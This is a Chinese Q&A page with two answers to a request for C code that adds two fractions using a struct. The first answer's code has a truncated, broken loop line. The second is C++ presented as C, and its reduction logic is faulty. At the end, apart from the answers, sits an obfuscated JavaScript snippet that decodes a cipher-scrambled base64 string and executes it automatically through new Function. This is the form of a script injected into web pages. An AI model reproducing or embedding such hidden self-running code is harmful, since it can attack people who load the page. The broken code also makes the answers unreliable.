编辑一个c语言程序,定义一个表示分数的结构体类型,并求两个分数相加之和

2025-03-16 00:31:46
推荐回答(2个)
回答1:

我了个CAO,还真没想到全功能版本会这么多内容……已编译运行通过。

已经实现了绝大部分内容,包括自动识别正负数,可以直接输入整数而不是分数,会把整数转换为分数来计算,同样,如果得数正好是整数的,也会输出为整数样式。

会自动约分到最简模式,可以说只差以下几点就能算彻底完成了:

1、当分母为0时,自动转化显示为无限大,但是在和的无限大的正负符号上,做了几回都没得出正确结果,所以暂时恒定为正了(输入的分数已经可以判断正负号了)。

2、本来想做分母上带符号也能正常显示负数的符号,就就是说“3/-5“会自动识别为“-3/5”的功能,结果没出效果……可能是scanf的限制吧,考虑到不合平常使用习惯,所以没继续做。

3、要不要显示时自动分号对齐?似乎没必要吧。

加一运行效果图片:

#include

#include

#include

typedef struct{                 //分数数型

    unsigned int denominator;   //分母

    unsigned int numerator;     //分子

    unsigned int negative;      //正负号,0为正号,1为负号

}  fraction;

fraction fraction_Get(int x1,int x2) { //由分子分母生成分数

    fraction x;

    if(x1<0) {                  //判断正负和提取分子

        x.negative=1;

        x.numerator=0-x1;

    } else x.numerator=x1;

    if(x2<0) {                  //判断正负和提取分母

        x.negative=(x.negative==0)?1:0;

        x.denominator=0-x2;

    } else x.denominator=x2;

    return x;

}

void fraction_Show(fraction x) {  //分数显示

    if(x.negative==1) 

        printf("-");

    else printf(" ");

    if(x.denominator==0) {        //如果分母是0,显示无限大

        printf("∞");

    } else {

        printf("%d",x.numerator);

        if(x.denominator>=2) printf("/%d",x.denominator);

    }

}

fraction fraction_reduction(fraction x) {  //分数约分

    int i,j;                     //循环控制和临时变量

    int x_d,x_n;

    fraction y;                  //定义得数储存属性

    x_d=x.denominator;           //取得分数x的分母和分子

    x_n=x.numerator;

    if(x_d==0||x_n==1)           //分母为0或分子为0/1时不约分

        return x;

    if(x_n==0) {                 //如果分子是0,则分母为1,返回

        x.denominator=1;

        return x;

    }

    for(i=1;i<=(x_d

        if(x_d%i==0&&x_n%i==0)

            j=i;

    x_d/=j;                      //约分

    x_n/=j;

    y.denominator=x_d;           //结果复制到y

    y.numerator=x_n;

    y.negative=x.negative;       //正负号不变

    return y;

}

fraction fraction_Add(fraction x,fraction y) {  //分数相加

    int x_d,x_n,y_d,y_n;         //x、y两分数的分母和分子

    fraction z;                  //定义得数储存属性

    int z_d,z_n;                 //定义得数的分母和分子

    x_d=x.denominator;           //取得分数x、y的分母和分子

    x_n=x.numerator;

    y_d=y.denominator;

    y_n=y.numerator;

    if(x_d==0||y_d==0) {         //为分母为0的情况单独计算

        z.denominator=0;

        z.negative=0;

        z.numerator=1;

        return z;

    }

    if(x.negative==1) x_n=0-x_n; //将正负号添加到分子中 

    if(y.negative==1) y_n=0-y_n;

    z_d=x_d*y_d;                 //求得数分母

    z_n=x_n*y_d+y_n*x_d;         //求得数分子

    if (z_n<0) {                 //判断得出分数的正负

        z_n=0-z_n;

        z.negative=1;

    } else z.negative=0;

    z.denominator=z_d;           //复制得数分母分子到分数z

    z.numerator=z_n;

    z=fraction_reduction(z);     //调用函数约分

    return z;

}

void main() {

    fraction x,y,z;

    int x1,x2,y1,y2;

    x2=y2=1;

    printf("请输入 x:");         //获取分数x,由键盘输入

    scanf("%d/%d",&x1,&x2);      //用“/”表示分号

    x=fraction_Get(x1,x2);

    printf("请输入 y:");         //获取分数x,由键盘输入

    scanf("%d/%d",&y1,&y2);      //用“/”表示分号

    y=fraction_Get(y1,y2);

    printf("输入的 x= ");                //计算和输出

    fraction_Show(x);

    printf("\n约分后 x= ");

    x=fraction_reduction(x);

    fraction_Show(x);

    printf("\n");

    printf("输入的 y= ");

    fraction_Show(y);

    printf("\n约分后 y= ");

    y=fraction_reduction(y);

    fraction_Show(y);

    printf("\n");

    z=fraction_Add(x,y);

    printf("计算 x+y= ");

    fraction_Show(z);

    printf("\n");

}

回答2:

// 实测通过
#include

typedef struct FRACTIONAL{
int denominator; // 分母
int numerator; // 分子
void Add(FRACTIONAL* fra1, FRACTIONAL* fra2); // 分数相加
void Reduce(); // 规约,分母分子同除公约数
void Print(); // 打印函数
}FRACTIONAL;

void FRACTIONAL::Add(FRACTIONAL* fra1, FRACTIONAL* fra2)
{
denominator = fra1->denominator * fra2->denominator;
numerator = fra1->numerator * fra2->denominator + fra2->numerator * fra1->denominator;
Reduce();
return ;
}
void FRACTIONAL::Reduce()
{
int i = 2;
int tmp = numerator > denominator ? denominator : numerator;
for ( ; i * i <= tmp ; i++)
{
if (numerator % i == 0 && denominator % i == 0)
{
numerator /= i;
denominator /= i;
}
}
return ;
}
void FRACTIONAL::Print()
{
printf("%d/%d" , numerator , denominator);
return ;
}

int main()
{
FRACTIONAL fra1, fra2, fra3;
fra1.denominator = 8;
fra1.numerator = 3;
fra2.denominator = 9;
fra2.numerator = 4;
// 3/8 + 4/9 = (27+32) / 72 = 59/72

fra3.Add(&fra1,&fra2);
fra3.Print();

getchar();

return 0;
}

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();